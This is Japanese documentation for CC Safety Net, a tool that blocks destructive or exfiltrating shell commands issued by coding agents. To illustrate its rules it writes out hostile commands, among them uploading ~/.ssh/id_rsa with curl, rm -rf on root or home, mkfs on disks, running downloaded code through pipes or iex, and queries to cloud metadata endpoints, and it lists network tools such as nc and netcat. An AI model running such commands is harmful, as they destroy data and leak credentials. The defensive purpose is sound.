explain --json に表示されるものです。
cat .env のようなファイルの読み取りはシークレット保護の対象です。独自のブロックはカスタムルールで追加できます。
「結果」列の値の意味は次のとおりです。
ブロックされたコマンドを許可する
そのコマンドをブロックしているルールを無効にします。致命的なルールと固定の拒否 ID 以外のすべてのルールに使える方法です。1
ルール ID を確認する
ルール ID はブロックメッセージに表示されます。対象のコマンドそのものに
explain を実行し、ruleId を読み取ることもできます。2
off のオーバーライドを追加する
policy.json の destructive_command_protection.overrides に、その ID を値 "off" で追加します。ユーザーファイルはすべてのプロジェクトに、.cc-safety-net/policy.json はそのプロジェクトだけに適用されます。次の内容を既存のファイルにマージしてください。3
変更を確認する
もう一度
explain を実行します。コマンドが許可と表示され、status にはそのオーバーライドが一覧表示されます。"on" を指定すると、安全レベルでは無効になっているルールを有効にできます。standard での rm.recursive-force-paranoid がその例です。フィールドの書き方はポリシーを参照してください。
ルールを無効にせず、特定のディレクトリ配下の再帰削除だけを許可するには、allow_paths を使います。保護対象のファイルの読み取りを許可する方法は、ブロックされたファイルを許可するを参照してください。
ルールを確認プロンプトに設定することはできない
オーバーライドに指定できる値は"on" と "off" だけです。ブロックの代わりに承認を求めるようルールを設定する方法はありません。唯一の例外は組み込みの動作です。Claude Code の standard レベルでは、2 種類の拒否が権限確認のプロンプトになります。Claude Code がブロックせずに確認を求める場合を参照してください。
各安全レベルで追加されるブロック
致命的なルール
致命的なルールは 10 個あります。対象は、/ またはホームディレクトリの再帰削除、Git メタデータの削除、そして CC Safety Net が対象を安全に読み取れない 2 種類の再帰削除です。各表では「致命的」と表示しています。
致命的なルールは、どのポリシーでも、すべての安全レベルでブロックします。destructive_command_protection.enabled: false、"off" のオーバーライド、allow_paths、ワークツリーモード、一時リポジトリの緩和、「Standard のみ」の許可のいずれがあっても、ブロックは維持されます。
本来そのコマンドを捕捉するルールが無効でもブロックするため、parallel rm -rf ::: / は rm.recursive-force-root-or-home として引き続きブロックされます。
Git メタデータと policy.json のガードも同じ扱いです。どちらも設定を読み込む前に実行されるため、どの設定でも無効にできません。
Git コマンド
フラグなしの
git rm は許可されます。HEAD から復元できない変更の削除は、Git 自身が拒否するためです。
位置引数が 1 つだけの git checkout <operand> は、オペランドがパスの形(.、./…、../…、絶対パス、末尾のスラッシュ、glob)をしている場合か、実在するファイルやディレクトリを指している場合に、パスの復元として扱います。main のようなブランチ名は許可されたままです。ブランチとファイルが同じ名前の場合はブロックされ、メッセージは git switch を案内します。
ワークツリーモードを有効にすると、上の表のうちローカルの変更を破棄する行は、検証済みのリンクされたワークツリー内では許可されます。
GIT_SSH_COMMAND はブロックされますか?
コマンド自体が設定している場合だけブロックされます。これらの設定はいずれも任意のプログラムを実行できるためです。git.ssh-env は、コマンドラインで GIT_SSH_COMMAND、GIT_SSH、GIT_SSH_VARIANT を設定するか、git -c や GIT_CONFIG_* で core.sshCommand を設定したうえで、Git のネットワークコマンド(clone、fetch、pull、push、ls-remote、submodule)を実行するものをブロックします。
許可するには、エージェントを起動する前にシェルのプロファイルで変数を export するか、ブロックされたコマンドを許可するの手順で
"git.ssh-env": "off" を指定してルールを無効にします。
一時リポジトリでの Git コマンド
/tmp のような一時ディレクトリ配下の使い捨てリポジトリでは、変更を破棄する Git コマンドが許可されます。ただし、そのリポジトリがワークスペースそのものでも、ワークスペースの中でもない場合に限ります。たとえば cd /tmp/scratch && git reset --hard は実行できます。git.push-*、git.ssh-env、git.alias-config のルールはこの方法では緩和されず、allow_paths でも範囲は広がりません。
リポジトリの外にあるファイルを Git に扱わせるおそれがある場合は、通常のルールのままです。core.worktree の設定や、.git 内の commondir ファイルがその例です。
ファイルシステムコマンド
rm -rf の各行は、同じルール ID で rm -r、rm -R、rm --recursive にも当てはまります。
CC Safety Net はシンボリックリンクを解決してからパスを比較します。そのため、
/ を指すシンボリックリンクは / として扱い、/tmp-malicious は一時パスとは見なしません。引用符のない glob も先に展開するため、作業ディレクトリがホームの場合、rm -rf * は rm.recursive-force-root-or-home としてブロックされます。
再帰削除の対象を比較する基準ディレクトリ
対象が内側か外側かは、セッションのワークスペースを基準に判定します。コマンドが動くディレクトリは、相対パスの解決先を決めるだけで、どこからが外側かは変えません。ツール呼び出しが独自の作業ディレクトリを指定しても、これは変わりません。そのため、ワークスペースの親を作業ディレクトリとする呼び出しからのrm -rf outside は、rm.recursive-force-outside-cwd としてブロックされます。
Git のコンテキストとシークレットのパスは、これまでどおりコマンドが動くディレクトリで解決します。ホームディレクトリのルールは、ワークスペースかそのディレクトリのどちらかがホームであれば適用されます。このルールをオフにしても、削除は rm.recursive-force-outside-cwd のように対象自身の位置に対応するルールでブロックされます。
リテラルのパスと違い、変数や置換から組み立てた対象では、コマンドが動くディレクトリだけが基準になります。そのため、追跡できた cd でホームから出れば、standard では再び許可されます。
rsync --delete は検査されますか?
検査されます。--delete、--delete-after、--del などの削除オプションを付けると、CC Safety Net は最初のオペランドより後ろのオペランドをすべて宛先として検査します。結果は上の表のとおりです。
変数から組み立てた宛先はブロックされます。両方の変数が空なら、rsync -a --delete "$SRC/" "$DST/" は rsync -a --delete / / として実行されるためです。.git/ を宛先にすると致命的で、rm.git-metadata としてブロックされます。
allow_paths 配下の再帰削除
rm、PowerShell の Remove-Item、find -delete のルールは、destructive_command_protection.allow_paths に挙げたディレクトリを、すべての安全レベルで一時ディレクトリと同じように扱います。許可パスがルート、ホーム、Git メタデータ、動的な対象に及ぶことはありません。シークレット保護も Git の一時リポジトリの緩和も、許可パスでは緩和されません。指定できるエントリは許可パスを参照してください。
デバイスとディスクのコマンド
CC Safety Net は、dd、mkfs、mke2fs、newfs、shred、diskutil、wipefs、sgdisk、parted と、ディスクへの出力リダイレクトを、すべての安全レベルで検査します。
リダイレクトのルールが対象とするのは、
/dev/sda、/dev/disk4、/dev/nvme0n1、/dev/mapper/ 配下などのディスクデバイスです。これらのルールはラッパーの中にも適用されるため、sudo mkfs.ext4 /dev/sda もブロックされます。検査対象外のディスクツールは既知の制限にあります。
ネットワークコマンド
CC Safety Net は通信先をコマンドテキストから読み取ります。ネットワーク層がないため、リクエスト自体は見ていません。クラウドのメタデータエンドポイントはすべての安全レベルでブロックされ、リモートホストへのデータアップロードは strict と paranoid でブロックされます。クラウドのメタデータエンドポイント
クラウドのメタデータエンドポイントは、インスタンスの資格情報を払い出します。network.cloud-metadata は、次のホストのいずれかを指定したコマンドをブロックします。169.254.169.254、169.254.170.2、169.254.170.23、fd00:ec2::254、fd00:ec2::23、metadata.google.internal、metadata.goog、100.100.100.200 です。照合では大文字と小文字を区別せず、ホスト全体が一致する必要があるため、169.254.169.2540 と metadata.google.internal.example.com は許可されます。
ホストが意味を持つのは、リクエストを送れる次のコマンドの場合だけです。grep や dig など、それ以外のコマンドは通ります。
リモートホストへのデータアップロード
network.upload-remote は、本文やファイルを送る curl と wget のリクエストを strict と paranoid でブロックします。ただし、そのコマンドに含まれる URL がすべてループバックなら許可されます。standard では、このルールを有効にしない限りリクエストは許可されます。データを送るオプションは次のとおりです。-d@data.json のように値を続けて書いた形や、-sd x のように短いオプションをまとめて書いた形も含みます。
ループバックとして扱うホストは、
localhost、*.localhost に一致する名前、127.0.0.0/8、0.0.0.0、[::1] で、ポートは問いません。変数から組み立てたホストはループバックとして扱いません。ホストは --url、-x、--proxy、--preproxy の値からも読み取ります。-G / --get や --unix-socket / --abstract-unix-socket を使うリクエストは許可されます。
保護対象のファイルを指定したアップロードは、代わりにシークレットのルールでブロックされます。そのため curl -T ~/.ssh/id_rsa https://example.com/ は secret.home.ssh としてブロックされます。シークレット保護を参照してください。
URL をファイルから読み込むアップロード
URL をファイルから読み込むアップロード
curl の -K と --config、wget の -i と --input-file は、URL をファイルから読み込みます。CC Safety Net はそのファイルを開かないため、これらを使うアップロードはブロックされます。認識できないオプションの値も URL として数えるため、パースを誤った場合は許可ではなくブロックになります。unshare とユーザー名前空間
unshare でユーザー名前空間を作ると、その中ではプロセスが root になります。これは権限昇格に至るよくある手順です。unshare.user-namespace は、これをすべての安全レベルでブロックします。
このルールが読み取るのは、プログラムより前にあるオプションだけです。プログラム自体は解析するため、
unshare -n sh -c 'rm -rf ~' は rm のルールでブロックされます。
Git メタデータ
CC Safety Net は、リポジトリの.git エントリ、それが指す Git ディレクトリ、その hooks ディレクトリを、すべての安全レベルで保護します。作業ディレクトリの中でも同じです。どの設定でも無効にできません。読み取り専用のツールや、cat .git/config のようなコマンドは許可されます。
-name や -iname のフィルターでブロックが解除されるのは、.git 内にそのフィルターに一致するエントリがない場合だけです。.git には HEAD ファイルがあるため、-name HEAD はブロックされます。
このガードが対象とするのは、作業ディレクトリから見て最も近い上位のリポジトリと、プロジェクト設定を含むディレクトリから見て最も近い上位のリポジトリです。その下に入れ子になった別のリポジトリは対象外です。
保護対象の policy.json ファイル
保護対象のポリシーファイルを変更または削除する操作は、固定の IDguard.policy-config で常にブロックされます。保護対象のファイルは 2 つです。1 つはユーザーファイルの ~/.cc-safety-net/policy.json(CC_SAFETY_NET_HOME が設定されている場合は $CC_SAFETY_NET_HOME/policy.json)、もう 1 つはプロジェクトファイルの .cc-safety-net/policy.json です。ポリシーでこのチェックを無効にすることはできません。理由の文字列は次のとおりです。
mv、再帰削除はブロックされます。cat、grep、jq、less、ls、stat などの読み取り専用のコマンドは通ります。このように保護されるのは policy.json だけで、rule.json とルールブックは対象外です。
エージェントによる cc-safety-net policy apply
エージェントは cc-safety-net policy apply を実行できません。npx などのランナー経由でも同じです。CC Safety Net は固定の ID guard.policy-apply でこれを拒否し、解除するフラグはありません。policy check は引き続き許可されます。理由の文字列は次のとおりです。
PowerShell コマンド
Remove-Item のルールは、シェルモードが powershell または auto のときに適用されます。posix モードで適用されるのは、git.reset-hard のようなシェル共通のルールだけです。別名や省略したパラメーターも解決するため、ri . -r -fo もブロックされます。
auto モードでは、PowerShell として読めるコマンドを POSIX シェルのコマンドとしても検査し、どちらかの読み方でブロックされればブロックします。たとえば Get-Content x#; git reset --hard は git.reset-hard でブロックされます。PowerShell は # をコメントとして読みますが、bash は git reset を実行するためです。
-WhatIf、-WhatIf:$true、-wi を付けた Remove-Item はドライランになるため、ブロックされません。-WhatIf:$false を指定すると再びブロックされます。PowerShell のワイルドカードはドットで始まるエントリにも一致するため、ワイルドカードが .git に及ぶことがあります。
PowerShell が評価するリモートのコンテンツ
iex と Invoke-Expression は、評価するテキストがダウンロード由来の場合、すべての安全レベルでブロックされます。Windows でよく使われるインストーラーの形がこれに当たります。このルールはシェルモードが powershell または auto のときに適用され、pwsh -c や powershell -Command のスクリプト内であればどのシェルモードでも適用されます。
iex は、評価する語の中にダウンロードツールの名前があるか、.DownloadString( または .DownloadData( の呼び出しがある場合にブロックされます。そのため iex (& irm …) や iex $wc.DownloadString(…) もブロックされます。ダウンロードが同じパイプラインの前段にあれば、どの段でも同じように扱います。引用符で囲んだリテラルの中にあるダウンロードツールの名前は対象になりません。そのため iex "Write-Host curl" は許可されます。
PowerShell では irm、iwr、Invoke-RestMethod、Invoke-WebRequest をダウンロードとして扱うため、irm … | python3 もcurl は検査されますか?のルールでブロックされます。
シェルラッパーとインタープリターのワンライナー
CC Safety Net は、bash -c、sh -c、sudo、env などのラッパーの中のコマンドを、最大 10 階層まで検査します。それより深く入れ子になったコマンドは拒否します。カスタムルールも、すべての階層に適用されます。
bash -n は構文を確認するだけなので、-n と -c だけを渡したシェルは、スクリプトの内容にかかわらず許可されます。どの語がスクリプトになるかを変えうるオプションや -n を打ち消しうるオプション(+ で始まるオプションなど)は、analysis.dynamic-shell-source としてブロックされます。
この方法で検査するインタープリターは、python、python2、python3、node、ruby、perl です。python -c "print(1)" も含めてインタープリターのワンライナーをすべてブロックするには、paranoid のインタープリターチェックを有効にします。そのブロックには interpreter.one-liner-paranoid が付きます。
インタープリター自身が実行する再帰削除
インタープリターのコードは、シェルコマンドを一切含まなくても、自身の標準ライブラリでルートディレクトリやホームディレクトリを削除できます。CC Safety Net はこうした呼び出しを、インラインのコード、heredoc、標準入力から読み込んだコードのいずれでも、すべてのレベルでブロックします。
第 1 引数が、リテラルのルートまたはホームのパスか、次の式のいずれかであればブロックされます。
os.path.expanduser('~')、Path.home()、os.environ['HOME']、os.getenv('HOME')、$ENV{HOME}、os.homedir()、process.env.HOME、Dir.home、ENV['HOME'] です。
リテラルの ~ は許可されたままです。ここに挙げた API はどれも ~ を展開しないためです。照合はコードのテキストに対して行うため、文字列の中に書かれた呼び出しもブロックします。インタープリターのワンライナーにはパースの隙間があるを参照してください。
コマンドプロンプトの本体
CC Safety Net は、どのシェルモードでもcmd /c と cmd /k の本体を読み取ります。/s を付けた rmdir、rd、del、erase を検査し、本体のそれ以外の部分は通常のコマンドとして検査します。そのため cmd /c git reset --hard は git.reset-hard でブロックされます。
cmd は
\" をエスケープとして扱わないため、引用符で囲んだ対象が分割され、ドライブのルートを指すことがあります。本体に \" を含む再帰削除は致命的として扱われ、ブロックメッセージは、パスを 1 つずつ引用符で囲むか、Remove-Item -LiteralPath を使うよう案内します。
^、%、!、cd、引用符で囲んだ & や | を併用する再帰削除は、検証できない実行元として拒否します。
この読み取りはテキストの照合なので、何も削除しない cmd /c 'echo rmdir /s /q C:\' もブロックされます。読み取りの対象外については既知の制限を参照してください。
入れ子の PowerShell スクリプト
powershell -Command '…' や pwsh -c '…' のスクリプトは、どのシェルモードでも PowerShell として読み取ります。条件は、スクリプトがリテラルのテキストであり、-Command より前にあるのが -NoProfile、-NonInteractive、-NoLogo、-ExecutionPolicy だけであることです。それ以外の形で再帰削除を含むものは、致命的としてブロックします。
生成されたコマンドの eval と source
eval "$(CMD)"、source <(CMD)、. <(CMD) は、CMD が出力した内容をそのまま実行します。CC Safety Net は CMD 自体を検査するため、eval "$(rm -rf /)" は rm でブロックされます。ただし、CMD が何を出力するかは検査できません。
standard が許可するのは、リテラルの語だけからなる単純なコマンド 1 つで、ダウンロードツールでも、シェルでも、
sudo のようなラッパーでもないものに限られます。そのコマンドの出力は信頼して実行します。
curl は検査されますか?
何かを実行したり漏らしたりしうる場合は検査されます。curl -o out.zip https://example.com/a.zip のような単純なダウンロードは許可されます。CC Safety Net にはネットワーク層がないためです。
ダウンロードが返した内容を実行するコマンドは、すべてのレベルで、理由 shell execution source cannot be verified safely. によってブロックされます。プログラムがシェル、インタープリター、ディスクのどれを最初に経由するかは問いません。
解析できないテキストや heredoc の本文では、同じパターンが
raw-text.dangerous-command としてブロックされます。PowerShell 固有の形はPowerShell が評価するリモートのコンテンツにまとめてあります。
クラウドのメタデータエンドポイントへのリクエストもブロックされ、ループバック以外のホストへのアップロードは strict でブロックされます。ネットワークコマンドを参照してください。
許可されるダウンロード
検査対象のインタープリターはpython、python2、python3、node、ruby、perl です。これらがダウンロードをプログラムとして実行しない場合は許可されます。
ダウンロードをどこまで追跡するか
ダウンロードをどこまで追跡するか
同じパイプラインの前段であればどこでも対象になるため、
curl … | gunzip | python3 - はブロックされます。timeout、nice、exec、stdbuf のような exec ラッパー経由のダウンロードツールも同じです。ダウンロードツールは curl、wget、fetch、aria2c、http、https、xh、xhs、nc、ncat、netcat です。リダイレクトがインタープリターの入力としてダウンロードを置き換えるのは、リテラルのファイル、here-string、引用符付き heredoc を指す場合だけです。curl … | python3 <&0 と curl … | python3 - < /dev/stdin はダウンロードを読み続けるため、ブロックされます。ディスク上のファイルについては、curl -o と --output、wget -O と --output-document、> リダイレクトの書き込み先を記録します。同じパスへの > が後から来るとダウンロードを置き換えるため、curl … -o i.sh && echo 'echo hi' > i.sh && bash i.sh は許可されます。次のツール呼び出しには何も引き継ぎません。構文チェックのフラグは、スクリプトのオペランドより前にあるものだけを数えます。そのため curl … -o check.js && node check.js --check はブロックされます。perl -c も例外ではありません。perl は解析の途中で BEGIN ブロックを実行するためです。heredoc
本文を保存または公開するだけの読み取り側に渡す heredoc はデータなので、どのレベルでも本文をコマンドとしては検査しません。読み取り側はリテラルで書かれたcat、tee、git apply、git commit、gh pr create、gh issue create のいずれかで、その heredoc が唯一の入力リダイレクトである必要があります。
standard では、それ以外の heredoc の本文を、テキストとして破壊的なパターンと照合します。デリミタが引用符で囲まれているか、本文に
$、バッククォート、バックスラッシュが含まれない場合、本文は展開されません。
シェルが展開されない heredoc をプログラムとして読み込む場合(bash <<'EOF' など)、standard は本文の各コマンドをトップレベルのコマンドと同じように解析します。本文に git reset --hard があれば、そのコマンド自身のルールでブロックされます。
standard でのシェルの heredoc の詳細
standard でのシェルの heredoc の詳細
その heredoc は、標準入力への最後の入力リダイレクトである必要があります。コマンドとしての解析で何も見つからなくてもテキストの検査は実行するため、
rm -rf "$1" のような本文は raw-text.dangerous-command としてブロックされます。$、バッククォート、バックスラッシュのいずれかが含まれる場合は、次の理由で拒否されます。
ファイルから実行するスクリプト
CC Safety Net は、すべての安全レベルで、コマンドが実行するシェルスクリプト(sh x.sh、bash x.sh、source x.sh、. x.sh、./x.sh など)を読み取り、その中身を検査します。スクリプトは、ディスク上のファイルでも、cat > x.sh <<'EOF' … EOF && bash x.sh のように同じコマンドの heredoc が書き出したものでもかまいません。
ブロックの理由には、ファイルと 1 から始まる行番号を示します。理由は
deploy.sh:3: で始まり、その後にルール自身のテキストが続きます。スクリプトがさらに別のスクリプトを実行している場合は、最も内側のファイルと行番号を示します。explain は、パスとファイルのバイトサイズを持つ script-file ステップを追加しますが、スクリプトのテキストは含めません。
./x.sh を読み取るのは、shebang 行がない場合か、#!/bin/sh のようなシェルの shebang がある場合だけです。sh x.sh と source x.sh では shebang を見ません。インタープリター向けのファイルは一切読まないので、python3 tool.py はファイルの内容にかかわらず許可されます。
コマンドをブロックするのは、スクリプト内にルールと具体的に一致する箇所があった場合だけです。eval "$(…)" のように検証できない行で解析が止まった場合は、外側のコマンドの判定がそのまま残ります。
変数から組み立てたスクリプトのパス
変数から組み立てたスクリプトのパス
standard では、リテラルの代入から組み立てたスクリプトのパスもたどります(
S=/tmp/run; … bash $S/x.sh など)。値は ~、$HOME、$PWD で始まっていてもよく、macOS では $(getconf DARWIN_USER_TEMP_DIR) も使えます。スクリプトを読み取らない場合
次の場合、CC Safety Net はファイルを読み取らず、外側のコマンドの判定がそのまま残ります。- パスが通常のファイルでない、256 KB を超える、NUL バイトを含む、または
/dev、/proc、/sysの配下にある。 - 同じコマンドの前の部分が、そのパスまたはその上位ディレクトリに書き込んだ可能性がある。
- そのコマンドがすでに 64 個のスクリプトを読み終えている(入れ子の読み取りも含む)。
読み取りを止める先行の書き込み
読み取りを止める先行の書き込み
CC Safety Net が追跡する書き込みは、出力リダイレクトと、
cp、mv、install、ln、sed -i、curl、wget、tee のオペランドです。sed -i、curl、wget、tee では、すべてのオペランドが対象です。cp、mv、install、ln では宛先だけが対象で、宛先は -t か --target-directory があればその値、なければ最初のオペランドより後ろのすべてです。そのため cp scripts/deploy.sh /tmp/backup.sh && sh scripts/deploy.sh では scripts/deploy.sh を読み取ります。解析できないコマンドテキスト
閉じていない引用符を含む場合など、シェルのパーサーがコマンドを読み取れないときの結果は、安全レベルによって変わります。
standard では、解析できないテキストに
rm -rf、git reset --hard、dd of=/dev/、シェルにパイプしたダウンロードなどの破壊的なパターンがないかをスキャンします。一致すると raw-text.dangerous-command としてブロックします。${ list; } の関数置換など一部の構文は、コマンドが無害でも、すべてのレベルでブロックします。
キャリッジリターンと Unicode の空白
コマンドのどこかにキャリッジリターン、垂直タブ、改ページ(フォームフィード)が含まれていると、すべてのレベルでanalysis.strict-unparseable としてブロックします。bash と zsh はこれらの文字を語の一部として扱うためです。Windows の改行コード(CRLF)も該当するので、コマンドは LF の改行で送ってください。
ノーブレークスペースやバイトオーダーマークなどの Unicode の空白も、語と語の間にあれば同じようにブロックします。引用符の中や heredoc の本文ではただのテキストなので、全角スペースを含む git commit -m '修正 テスト' は許可されます。
特定のコマンドがブロックまたは許可された理由を確認するには、explain を実行します。
固定の拒否 ID
ルールによらない拒否もあります。コマンド解析の前に実行されるガード、解析の上限と失敗、使用できない作業ディレクトリによる拒否です。これらには固定の ID が付き、ルール ID が表示される場所に表示されます。checkCommand が返す拒否の ruleId も同じです。
これらの ID は登録済みのルールではないため、destructive_command_protection.overrides には指定できません。policy check は、いずれも unknown destructive command rule id "<id>" として拒否します。